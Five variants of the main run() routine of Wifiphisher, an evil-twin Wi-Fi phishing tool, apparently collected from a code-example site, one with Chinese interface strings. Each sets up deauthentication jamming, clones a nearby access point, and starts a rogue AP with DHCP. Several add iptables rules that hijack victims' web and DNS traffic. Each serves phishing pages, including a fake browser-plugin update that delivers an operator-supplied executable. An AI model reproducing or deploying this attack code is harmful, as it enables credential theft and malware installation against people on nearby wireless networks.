Esempio n. 1
0
def run():

    print ('[' + T + '*' + W + '] Starting Wifiphisher %s at %s' % \
          (VERSION, time.strftime("%Y-%m-%d %H:%M")))

    # Parse args
    global args, APs, clients_APs, mon_MAC, mac_matcher, hop_daemon_running
    args = parse_args()

    # Check args
    check_args(args)

    # Are you root?
    if os.geteuid():
        sys.exit('[' + R + '-' + W + '] Please run as root')

    # TODO: We should have more checks here:
    # Is anything binded to our HTTP(S) ports?
    # Maybe we should save current iptables rules somewhere

    network_manager = interfaces.NetworkManager()

    mac_matcher = macmatcher.MACMatcher(MAC_PREFIX_FILE)

    # get interfaces for monitor mode and AP mode and set the monitor interface
    # to monitor mode. shutdown on any errors
    try:
        if not args.nojamming:
            if args.jamminginterface and args.apinterface:
                mon_iface = network_manager.get_jam_iface(
                    args.jamminginterface)
                ap_iface = network_manager.get_ap_iface(args.apinterface)
            else:
                mon_iface, ap_iface = network_manager.find_interface_automatically(
                )
            network_manager.set_jam_iface(mon_iface.get_name())
            network_manager.set_ap_iface(ap_iface.get_name())
            # display selected interfaces to the user
            print ("[{0}+{1}] Selecting {0}{2}{1} interface for the deauthentication "\
                   "attack\n[{0}+{1}] Selecting {0}{3}{1} interface for creating the "\
                   "rogue Access Point").format(G, W, mon_iface.get_name(), ap_iface.get_name())
        else:
            ap_iface = network_manager.get_ap_iface()
            mon_iface = ap_iface
            network_manager.set_ap_iface(ap_iface.get_name())
            print ("[{0}+{1}] Selecting {0}{2}{1} interface for creating the "\
                   "rogue Access Point").format(G, W, ap_iface.get_name())

        kill_interfering_procs()

        # set monitor mode to monitor interface
        network_manager.set_interface_mode(mon_iface, "monitor")
    except (interfaces.NotEnoughInterfacesFoundError,
            interfaces.JammingInterfaceInvalidError,
            interfaces.ApInterfaceInvalidError,
            interfaces.NoApInterfaceFoundError,
            interfaces.NoMonitorInterfaceFoundError) as err:
        print("[{0}!{1}] " + str(err)).format(R, W)
        time.sleep(2)
        shutdown()

    set_fw_rules()
    set_kernel_var()
    network_manager.up_ifaces([ap_iface, mon_iface])

    print '[' + T + '*' + W + '] Cleared leases, started DHCP, set up iptables'

    if args.essid:
        essid = args.essid
        channel = str(CHANNEL)
        args.accesspoint = False
        ##args.channel = False
        ##cmd="nmcli -f CHAN,SSID,ACTIVE dev wifi list | grep \""+args.essid+"\" |awk '{print $1}'"
        ##ps=subprocess.Popen(cmd, shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        ##args.channel=ps.communicate()[0]
        ##channel = args.channel
        ##channel = check_output(["nmcli","-f CHAN,SSID,ACTIVE dev wifi list ","| grep","\"",args.essid,"\""," | awk","'{print $1}'"])
        ##channel = check_output(["nmcli -f CHAN,SSID,ACTIVE dev wifi list | grep \""+args.essid+"\" | awk '{print $1}'"])
        ap_mac = None
        enctype = None
    else:
        # Copy AP
        time.sleep(3)
        hop = Thread(target=channel_hop, args=(mon_iface, ))
        hop.daemon = True
        hop.start()
        sniffing(mon_iface.get_name(), targeting_cb)
        channel, essid, ap_mac, enctype = copy_AP()
        args.accesspoint = ap_mac
        args.channel = channel
        ##cmd="nmcli -f CHAN,SSID,ACTIVE dev wifi list | grep \""+args.essid+"\" |awk '{print $1}'"
        ##ps=subprocess.Popen(cmd, shell=True,stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        ##args.channel=ps.communicate()[0]
        ##channel = args.channel

        hop_daemon_running = False

    if args.channel:
        channel = args.channel

    # get the correct template
    template = select_template(args.phishingscenario)

    print("[" + G + "+" + W + "] Selecting " + template.get_display_name() +
          " template")

    # payload selection for browser plugin update
    if template.has_payload():
        payload_path = False
        # copy payload to update directory
        while not payload_path or not os.path.isfile(payload_path):
            # get payload path
            payload_path = raw_input("[" + G + "+" + W + "] Enter the [" + G +
                                     "full path" + W +
                                     "] to the payload you wish to serve: ")
            if not os.path.isfile(payload_path):
                print '[' + R + '-' + W + '] Invalid file path!'
        print '[' + T + '*' + W + '] Using ' + G + payload_path + W + ' as payload '
        copyfile(payload_path,
                 PHISHING_PAGES_DIR + template.get_payload_path())

    APs_context = []
    for i in APs:
        APs_context.append({
            'channel': APs[i][0],
            'essid': APs[i][1],
            'bssid': APs[i][2],
            'vendor': mac_matcher.get_vendor_name(APs[i][2])
        })

    template.merge_context({'APs': APs_context})

    ap_logo_path = template.use_file(mac_matcher.get_vendor_logo_path(ap_mac))

    template.merge_context({
        'target_ap_channel':
        args.channel,
        'target_ap_essid':
        essid,
        'target_ap_bssid':
        ap_mac,
        'target_ap_encryption':
        enctype,
        'target_ap_vendor':
        mac_matcher.get_vendor_name(ap_mac),
        'target_ap_logo_path':
        ap_logo_path
    })

    phishinghttp.serve_template(template, essid)
    #subprocess.call("echo \""+str(essid)+"\" | tee -a ~/Desktop/NOTEW",shell=True)

    # We want to set this now for hostapd. Maybe the interface was in "monitor"
    # mode for network discovery before (e.g. when --nojamming is enabled).
    network_manager.set_interface_mode(ap_iface, "managed")
    # Start AP
    start_ap(ap_iface.get_name(), channel, essid, args)
    dhcpconf = dhcp_conf(ap_iface.get_name())
    if not dhcp(dhcpconf, ap_iface.get_name()):
        print('[' + G + '+' + W +
              '] Could not set IP address on %s!' % ap_iface.get_name())
        shutdown(template)
    os.system('clear')
    print('[' + T + '*' + W + '] ' + T + essid + W + ' set up on channel ' +
          T + channel + W + ' via ' + T + mon_iface.get_name() + W + ' on ' +
          T + str(ap_iface.get_name()) + W)

    # With configured DHCP, we may now start the web server
    # Start HTTP server in a background thread
    Handler = phishinghttp.HTTPRequestHandler
    try:
        httpd = phishinghttp.HTTPServer((NETWORK_GW_IP, PORT), Handler)
    except socket.error, v:
        errno = v[0]
        sys.exit(('\n[' + R + '-' + W +
                  '] Unable to start HTTP server (socket errno ' + str(errno) +
                  ')!\n' + '[' + R + '-' + W +
                  '] Maybe another process is running on port ' + str(PORT) +
                  '?\n' + '[' + R + '!' + W + '] Closing'))
Esempio n. 2
0
def run():

    print ('[' + T + '*' + W + '] Starting Wifiphisher %s at %s' % \
          (VERSION, time.strftime("%Y-%m-%d %H:%M")))

    # Initialize a list to store the used interfaces
    used_interfaces = list()

    # Parse args
    global args, APs, clients_APs, mon_MAC, mac_matcher, hop_daemon_running
    args = parse_args()

    # Check args
    check_args(args)

    # Are you root?
    if os.geteuid():
        sys.exit('[' + R + '-' + W + '] Please run as root')

    # Get hostapd, dnsmasq or ifconfig if needed
    get_hostapd()
    get_dnsmasq()
    get_ifconfig()

    # TODO: We should have more checks here:
    # Is anything binded to our HTTP(S) ports?
    # Maybe we should save current iptables rules somewhere

    network_manager = interfaces.NetworkManager(args.jamminginterface,
                                                args.apinterface)

    mac_matcher = macmatcher.MACMatcher(MAC_PREFIX_FILE)

    # get interfaces for monitor mode and AP mode and set the monitor interface
    # to monitor mode. shutdown on any errors
    try:
        mon_iface, ap_iface = network_manager.get_interfaces()

        kill_interfering_procs()

        # TODO: this line should be removed once all the wj_iface have been
        # removed
        wj_iface = mon_iface

        # display selected interfaces to the user
        print ("[{0}+{1}] Selecting {0}{2}{1} interface for the deauthentication "\
               "attack\n[{0}+{1}] Selecting {0}{3}{1} interface for creating the "\
               "rogue Access Point").format(G, W, mon_iface, ap_iface)

        # set monitor mode to monitor interface
        network_manager.set_interface_mode(mon_iface, "monitor")
    except (interfaces.NotEnoughInterfacesFoundError,
            interfaces.JammingInterfaceInvalidError,
            interfaces.ApInterfaceInvalidError,
            interfaces.NoApInterfaceFoundError,
            interfaces.NoMonitorInterfaceFoundError) as err:
        print("[{0}!{1}] " + str(err)).format(R, W)
        time.sleep(2)
        shutdown()

    # add the selected interfaces to the used list
    used_interfaces = [mon_iface, ap_iface]

    # Set iptable rules and kernel variables.
    os.system((
        'iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination %s:%s'
        % (NETWORK_GW_IP, PORT)))
    os.system((
        'iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination %s:%s'
        % (NETWORK_GW_IP, 53)))
    os.system((
        'iptables -t nat -A PREROUTING -p tcp --dport 53 -j DNAT --to-destination %s:%s'
        % (NETWORK_GW_IP, 53)))
    os.system((
        'iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination %s:%s'
        % (NETWORK_GW_IP, SSL_PORT)))
    Popen(['sysctl', '-w', 'net.ipv4.conf.all.route_localnet=1'],
          stdout=DN,
          stderr=PIPE)

    print '[' + T + '*' + W + '] Cleared leases, started DHCP, set up iptables'

    # Copy AP
    time.sleep(3)
    hop = Thread(target=channel_hop, args=(mon_iface, ))
    hop.daemon = True
    hop.start()
    sniffing(mon_iface, targeting_cb)
    channel, essid, ap_mac = copy_AP()
    hop_daemon_running = False

    # get the correct template
    template = select_template(args.template)

    print("[" + G + "+" + W + "] Selecting " + template.get_display_name() +
          " template")

    # payload selection for browser plugin update
    if "Browser Plugin Update" in template.get_display_name():

        # get payload path
        payload_path = raw_input("\n[" + G + "+" + W + "] Enter the [" + G +
                                 "full path" + W +
                                 "] to the payload you wish to serve: ")

        # copy payload to update directory

        while not os.path.isfile(payload_path):

            print "Invalid file path"

            payload_path = raw_input("\n[" + G + "+" + W + "] Enter the [" +
                                     G + "full path" + W +
                                     "] to the payload you wish to serve: ")

        print '[' + T + '*' + W + '] Using ' + G + payload_path + W + ' as payload '

        copyfile(payload_path,
                 PHISHING_PAGES_DIR + '/plugin_update/update/update.exe')

    APs_context = []
    for i in APs:
        APs_context.append({
            'channel': APs[i][0],
            'essid': APs[i][1],
            'bssid': APs[i][2],
            'vendor': mac_matcher.get_vendor_name(APs[i][2])
        })

    template.merge_context({'APs': APs_context})

    template.merge_context({
        'target_ap_channel':
        channel,
        'target_ap_essid':
        essid,
        'target_ap_bssid':
        ap_mac,
        'target_ap_vendor':
        mac_matcher.get_vendor_name(ap_mac)
    })

    phishinghttp.serve_template(template)

    # Start AP
    start_ap(ap_iface, channel, essid, args)
    dhcpconf = dhcp_conf(ap_iface)
    if not dhcp(dhcpconf, ap_iface):
        print('[' + G + '+' + W +
              '] Could not set IP address on %s!' % ap_iface)
        shutdown()
    os.system('clear')
    print('[' + T + '*' + W + '] ' + T + essid + W + ' set up on channel ' +
          T + channel + W + ' via ' + T + mon_iface + W + ' on ' + T +
          str(ap_iface) + W)

    # With configured DHCP, we may now start the web server
    # Start HTTP server in a background thread
    Handler = phishinghttp.HTTPRequestHandler
    try:
        httpd = phishinghttp.HTTPServer((NETWORK_GW_IP, PORT), Handler)
    except socket.error, v:
        errno = v[0]
        sys.exit(('\n[' + R + '-' + W +
                  '] Unable to start HTTP server (socket errno ' + str(errno) +
                  ')!\n' + '[' + R + '-' + W +
                  '] Maybe another process is running on port ' + str(PORT) +
                  '?\n' + '[' + R + '!' + W + '] Closing'))
Esempio n. 3
0
def run():

    print ('[' + T + '*' + W + ']  Wifiphisher 启动中 %s at %s' % \
          (VERSION, time.strftime("%Y-%m-%d %H:%M")))

    # Parse args
    global args, APs, clients_APs, mon_MAC, mac_matcher, hop_daemon_running
    args = parse_args()

    # Check args
    check_args(args)

    # Are you root?
    if os.geteuid():
        sys.exit('[' + R + '-' + W + '] 请使用 root')

    # TODO: We should have more checks here:
    # Is anything binded to our HTTP(S) ports?
    # Maybe we should save current iptables rules somewhere

    network_manager = interfaces.NetworkManager()

    mac_matcher = macmatcher.MACMatcher(MAC_PREFIX_FILE)

    # get interfaces for monitor mode and AP mode and set the monitor interface
    # to monitor mode. shutdown on any errors
    try:
        if not args.nojamming:
            if args.jamminginterface and args.apinterface:
                mon_iface = network_manager.get_jam_iface(
                    args.jamminginterface)
                ap_iface = network_manager.get_ap_iface(args.apinterface)
            else:
                mon_iface, ap_iface = network_manager.find_interface_automatically(
                )
            network_manager.set_jam_iface(mon_iface.get_name())
            network_manager.set_ap_iface(ap_iface.get_name())
            # display selected interfaces to the user
            print ("[{0}+{1}] 选择 {0}{2}{1} 网卡作为攻击使用 "\
                   "\n[{0}+{1}] 选择 {0}{3}{1} 网卡作为模拟wifi使用 "\
                   "").format(G, W, mon_iface.get_name(), ap_iface.get_name())
        else:
            ap_iface = network_manager.get_ap_iface()
            mon_iface = ap_iface
            network_manager.set_ap_iface(ap_iface.get_name())
            print ("[{0}+{1}] 选择 {0}{2}{1} 网卡模拟wifi使用 "\
                   "").format(G, W, ap_iface.get_name())

        kill_interfering_procs()

        # set monitor mode to monitor interface
        network_manager.set_interface_mode(mon_iface, "monitor")
    except (interfaces.NotEnoughInterfacesFoundError,
            interfaces.JammingInterfaceInvalidError,
            interfaces.ApInterfaceInvalidError,
            interfaces.NoApInterfaceFoundError,
            interfaces.NoMonitorInterfaceFoundError) as err:
        print("[{0}!{1}] " + str(err)).format(R, W)
        time.sleep(2)
        shutdown()

    set_fw_rules()
    set_kernel_var()
    network_manager.up_ifaces([ap_iface, mon_iface])

    print '[' + T + '*' + W + '] Cleared leases, 启动 DHCP, 设置 iptables'

    if args.essid:
        essid = args.essid
        channel = str(CHANNEL)
        args.accesspoint = False
        args.channel = False
        ap_mac = None
        enctype = None
    else:
        # Copy AP
        time.sleep(3)
        hop = Thread(target=channel_hop, args=(mon_iface, ))
        hop.daemon = True
        hop.start()
        sniffing(mon_iface.get_name(), targeting_cb)
        channel, essid, ap_mac, enctype = copy_AP()
        args.accesspoint = ap_mac
        args.channel = channel
        hop_daemon_running = False

    # get the correct template
    template = select_template(args.phishingscenario)

    print("[" + G + "+" + W + "] 选择 " + template.get_display_name() + " 模板")

    # payload selection for browser plugin update
    if template.has_payload():
        payload_path = False
        # copy payload to update directory
        while not payload_path or not os.path.isfile(payload_path):
            # get payload path
            payload_path = raw_input("[" + G + "+" + W + "] 输入 [" + G + "全路径" +
                                     W + "] 你想使用的服务器: ")
            if not os.path.isfile(payload_path):
                print '[' + R + '-' + W + '] 路径不可用!'
        print '[' + T + '*' + W + '] 使用 ' + G + payload_path + W + ' 中 '
        copyfile(payload_path,
                 PHISHING_PAGES_DIR + template.get_payload_path())

    APs_context = []
    for i in APs:
        APs_context.append({
            'channel': APs[i][0],
            'essid': APs[i][1],
            'bssid': APs[i][2],
            'vendor': mac_matcher.get_vendor_name(APs[i][2])
        })

    template.merge_context({'APs': APs_context})

    ap_logo_path = template.use_file(mac_matcher.get_vendor_logo_path(ap_mac))

    template.merge_context({
        'target_ap_channel':
        args.channel,
        'target_ap_essid':
        essid,
        'target_ap_bssid':
        ap_mac,
        'target_ap_encryption':
        enctype,
        'target_ap_vendor':
        mac_matcher.get_vendor_name(ap_mac),
        'target_ap_logo_path':
        ap_logo_path
    })

    phishinghttp.serve_template(template)

    # We want to set this now for hostapd. Maybe the interface was in "monitor"
    # mode for network discovery before (e.g. when --nojamming is enabled).
    network_manager.set_interface_mode(ap_iface, "managed")
    # Start AP
    start_ap(ap_iface.get_name(), channel, essid, args)
    dhcpconf = dhcp_conf(ap_iface.get_name())
    if not dhcp(dhcpconf, ap_iface.get_name()):
        print('[' + G + '+' + W + '] 不能设置ip地址 %s!' % ap_iface.get_name())
        shutdown(template)
    os.system('clear')
    print('[' + T + '*' + W + '] ' + T + essid + W + ' 设置频道 ' + T + channel +
          W + ' via ' + T + mon_iface.get_name() + W + ' on ' + T +
          str(ap_iface.get_name()) + W)

    # With configured DHCP, we may now start the web server
    # Start HTTP server in a background thread
    Handler = phishinghttp.HTTPRequestHandler
    try:
        httpd = phishinghttp.HTTPServer((NETWORK_GW_IP, PORT), Handler)
    except socket.error, v:
        errno = v[0]
        sys.exit(('\n[' + R + '-' + W + '] 不能启动 HTTP 服务 (socket errno ' +
                  str(errno) + ')!\n' + '[' + R + '-' + W + '] 或许另一个进程正在使用端口' +
                  str(PORT) + '?\n' + '[' + R + '!' + W + '] 关闭中...'))
Esempio n. 4
0
def run():

    print ('[' + T + '*' + W + '] Starting Wifiphisher %s at %s' % \
          (VERSION, time.strftime("%Y-%m-%d %H:%M")))

    # Parse args
    global args, APs, clients_APs, mon_MAC, mac_matcher, hop_daemon_running
    args = parse_args()

    # Check args
    check_args(args)

    # Are you root?
    if os.geteuid():
        sys.exit('[' + R + '-' + W + '] Please run as root')

    # TODO: We should have more checks here:
    # Is anything binded to our HTTP(S) ports?
    # Maybe we should save current iptables rules somewhere

    network_manager = interfaces.NetworkManager()

    mac_matcher = macmatcher.MACMatcher(MAC_PREFIX_FILE)

    # get interfaces for monitor mode and AP mode and set the monitor interface
    # to monitor mode. shutdown on any errors
    try:
        if not args.nojamming:
            if args.jamminginterface and args.apinterface:
                mon_iface = network_manager.get_jam_iface(args.jamminginterface)
                ap_iface = network_manager.get_ap_iface(args.apinterface)
            else:
                mon_iface, ap_iface = network_manager.find_interface_automatically()
            network_manager.set_jam_iface(mon_iface.get_name())
            network_manager.set_ap_iface(ap_iface.get_name())
            # display selected interfaces to the user
            print ("[{0}+{1}] Selecting {0}{2}{1} interface for the deauthentication "\
                   "attack\n[{0}+{1}] Selecting {0}{3}{1} interface for creating the "\
                   "rogue Access Point").format(G, W, mon_iface.get_name(), ap_iface.get_name())
        else:
            ap_iface = network_manager.get_ap_iface()
            mon_iface = ap_iface
            network_manager.set_ap_iface(ap_iface.get_name())
            print ("[{0}+{1}] Selecting {0}{2}{1} interface for creating the "\
                   "rogue Access Point").format(G, W, ap_iface.get_name())

        kill_interfering_procs()

        # TODO: this line should be removed once all the wj_iface have been
        # removed
        wj_iface = mon_iface

        # set monitor mode to monitor interface
        network_manager.set_interface_mode(mon_iface, "monitor")
    except (interfaces.NotEnoughInterfacesFoundError,
            interfaces.JammingInterfaceInvalidError,
            interfaces.ApInterfaceInvalidError,
            interfaces.NoApInterfaceFoundError,
            interfaces.NoMonitorInterfaceFoundError) as err:
        print ("[{0}!{1}] " + str(err)).format(R, W)
        time.sleep(2)
        shutdown()

    set_fw_rules()
    set_kernel_var()

    print '[' + T + '*' + W + '] Cleared leases, started DHCP, set up iptables'

    if args.essid:
        essid = args.essid
        channel = str(CHANNEL)
        args.accesspoint = False
        args.channel = False
        ap_mac = None
    else:
        # Copy AP
        time.sleep(3)
        hop = Thread(target=channel_hop, args=(mon_iface,))
        hop.daemon = True
        hop.start()
        sniffing(mon_iface.get_name(), targeting_cb)
        channel, essid, ap_mac = copy_AP()
        args.accesspoint = ap_mac
        args.channel = channel
        hop_daemon_running = False

    # get the correct template
    template = select_template(args.template)

    print ("[" + G + "+" + W + "] Selecting " + template.get_display_name() +
           " template")

    # payload selection for browser plugin update
    if template.has_payload():
        payload_path = False
        # copy payload to update directory
        while not payload_path or not os.path.isfile(payload_path):
            # get payload path
            payload_path = raw_input("[" + G + "+" + W +
                                     "] Enter the [" + G + "full path" + W +
                                     "] to the payload you wish to serve: ")
            if not os.path.isfile(payload_path):
                print '[' + R + '-' + W + '] Invalid file path!'
        print '[' + T + '*' + W + '] Using ' + G + payload_path + W + ' as payload '
        copyfile(payload_path, PHISHING_PAGES_DIR + template.get_payload_path())

    APs_context = []
    for i in APs:
        APs_context.append({
            'channel': APs[i][0],
            'essid': APs[i][1],
            'bssid': APs[i][2],
            'vendor': mac_matcher.get_vendor_name(APs[i][2])
        })

    template.merge_context({'APs': APs_context})

    ap_logo_path = template.use_file(mac_matcher.get_vendor_logo_path(ap_mac))

    template.merge_context({
        'target_ap_channel': args.channel,
        'target_ap_essid': essid,
        'target_ap_bssid': ap_mac,
        'target_ap_vendor': mac_matcher.get_vendor_name(ap_mac),
        'target_ap_logo_path': ap_logo_path 
    })

    phishinghttp.serve_template(template)

    # We want to set this now for hostapd. Maybe the interface was in "monitor"
    # mode for network discovery before (e.g. when --nojamming is enabled).
    network_manager.set_interface_mode(ap_iface, "managed")
    # Start AP
    start_ap(ap_iface.get_name(), channel, essid, args)
    dhcpconf = dhcp_conf(ap_iface.get_name())
    if not dhcp(dhcpconf, ap_iface.get_name()):
        print('[' + G + '+' + W +
              '] Could not set IP address on %s!' % ap_iface.get_name()
              )
        shutdown(template)
    os.system('clear')
    print ('[' + T + '*' + W + '] ' + T +
           essid + W + ' set up on channel ' +
           T + channel + W + ' via ' + T + mon_iface.get_name() +
           W + ' on ' + T + str(ap_iface.get_name()) + W)

    # With configured DHCP, we may now start the web server
    # Start HTTP server in a background thread
    Handler = phishinghttp.HTTPRequestHandler
    try:
        httpd = phishinghttp.HTTPServer((NETWORK_GW_IP, PORT), Handler)
    except socket.error, v:
        errno = v[0]
        sys.exit((
            '\n[' + R + '-' + W + '] Unable to start HTTP server (socket errno ' + str(errno) + ')!\n' +
            '[' + R + '-' + W + '] Maybe another process is running on port ' + str(PORT) + '?\n' +
            '[' + R + '!' + W + '] Closing'
        ))
Esempio n. 5
0
def run():

    print ('[' + T + '*' + W + '] Starting Wifiphisher %s at %s' % \
          (VERSION, time.strftime("%Y-%m-%d %H:%M")))

    # Initialize a list to store the used interfaces
    used_interfaces = list()

    # Parse args
    global args, APs, clients_APs, mon_MAC, mac_matcher, hop_daemon_running
    args = parse_args()

    # Check args
    check_args(args)

    # Are you root?
    if os.geteuid():
        sys.exit('[' + R + '-' + W + '] Please run as root')

    # Get hostapd, dnsmasq or ifconfig if needed
    get_hostapd()
    get_dnsmasq()
    get_ifconfig()

    # TODO: We should have more checks here:
    # Is anything binded to our HTTP(S) ports?
    # Maybe we should save current iptables rules somewhere

    network_manager = interfaces.NetworkManager(args.jamminginterface,
                                                args.apinterface)

    mac_matcher = macmatcher.MACMatcher(MAC_PREFIX_FILE)


    # get interfaces for monitor mode and AP mode and set the monitor interface
    # to monitor mode. shutdown on any errors
    try:
        mon_iface, ap_iface = network_manager.get_interfaces()

        kill_interfering_procs()

        # TODO: this line should be removed once all the wj_iface have been
        # removed
        wj_iface = mon_iface

        # display selected interfaces to the user
        print ("[{0}+{1}] Selecting {0}{2}{1} interface for the deauthentication "\
               "attack\n[{0}+{1}] Selecting {0}{3}{1} interface for creating the "\
               "rogue Access Point").format(G, W, mon_iface, ap_iface)

        # set monitor mode to monitor interface
        network_manager.set_interface_mode(mon_iface, "monitor")
    except (interfaces.NotEnoughInterfacesFoundError,
            interfaces.JammingInterfaceInvalidError,
            interfaces.ApInterfaceInvalidError,
            interfaces.NoApInterfaceFoundError,
            interfaces.NoMonitorInterfaceFoundError) as err:
        print ("[{0}!{1}] " + str(err)).format(R, W)
        time.sleep(2)
        shutdown()

    # add the selected interfaces to the used list
    used_interfaces = [mon_iface, ap_iface]

    # Set iptable rules and kernel variables.
    os.system(
        ('iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination %s:%s'
         % (NETWORK_GW_IP, PORT))
    )
    os.system(
        ('iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination %s:%s'
         % (NETWORK_GW_IP, 53))
    )
    os.system(
        ('iptables -t nat -A PREROUTING -p tcp --dport 53 -j DNAT --to-destination %s:%s'
         % (NETWORK_GW_IP, 53))
    )
    os.system(
        ('iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination %s:%s'
         % (NETWORK_GW_IP, SSL_PORT))
    )
    Popen(
        ['sysctl', '-w', 'net.ipv4.conf.all.route_localnet=1'],
        stdout=DN,
        stderr=PIPE
    )

    print '[' + T + '*' + W + '] Cleared leases, started DHCP, set up iptables'

    # Copy AP
    time.sleep(3)
    hop = Thread(target=channel_hop, args=(mon_iface,))
    hop.daemon = True
    hop.start()
    sniffing(mon_iface, targeting_cb)
    channel, essid, ap_mac = copy_AP()
    hop_daemon_running = False

    # get the correct template
    template = select_template(args.template)

    print ("[" + G + "+" + W + "] Selecting " + template.get_display_name() +
           " template")

    # payload selection for browser plugin update
    if "Browser Plugin Update" in template.get_display_name():

        # get payload path
        payload_path = raw_input("\n[" + G + "+" + W +
                                     "] Enter the [" + G + "full path" + W +
                                     "] to the payload you wish to serve: ")

        # copy payload to update directory

        while not os.path.isfile(payload_path):

            print "Invalid file path"

            payload_path = raw_input("\n[" + G + "+" + W +
                                     "] Enter the [" + G + "full path" + W +
                                     "] to the payload you wish to serve: ")

        print '[' + T + '*' + W + '] Using ' + G + payload_path + W + ' as payload '

        copyfile(payload_path, PHISHING_PAGES_DIR + '/plugin_update/update/update.exe')

    APs_context = []
    for i in APs:
        APs_context.append({
            'channel': APs[i][0],
            'essid': APs[i][1],
            'bssid': APs[i][2],
            'vendor': mac_matcher.get_vendor_name(APs[i][2])
        })

    template.merge_context({'APs': APs_context})

    template.merge_context({
        'target_ap_channel': channel,
        'target_ap_essid': essid,
        'target_ap_bssid': ap_mac,
        'target_ap_vendor': mac_matcher.get_vendor_name(ap_mac)
    })

    phishinghttp.serve_template(template)

    # Start AP
    start_ap(ap_iface, channel, essid, args)
    dhcpconf = dhcp_conf(ap_iface)
    if not dhcp(dhcpconf, ap_iface):
        print('[' + G + '+' + W +
              '] Could not set IP address on %s!' % ap_iface
              )
        shutdown()
    os.system('clear')
    print ('[' + T + '*' + W + '] ' + T +
           essid + W + ' set up on channel ' +
           T + channel + W + ' via ' + T + mon_iface +
           W + ' on ' + T + str(ap_iface) + W)

    # With configured DHCP, we may now start the web server
    # Start HTTP server in a background thread
    Handler = phishinghttp.HTTPRequestHandler
    try:
        httpd = phishinghttp.HTTPServer((NETWORK_GW_IP, PORT), Handler)
    except socket.error, v:
        errno = v[0]
        sys.exit((
            '\n[' + R + '-' + W + '] Unable to start HTTP server (socket errno ' + str(errno) + ')!\n' +
            '[' + R + '-' + W + '] Maybe another process is running on port ' + str(PORT) + '?\n' +
            '[' + R + '!' + W + '] Closing'
        ))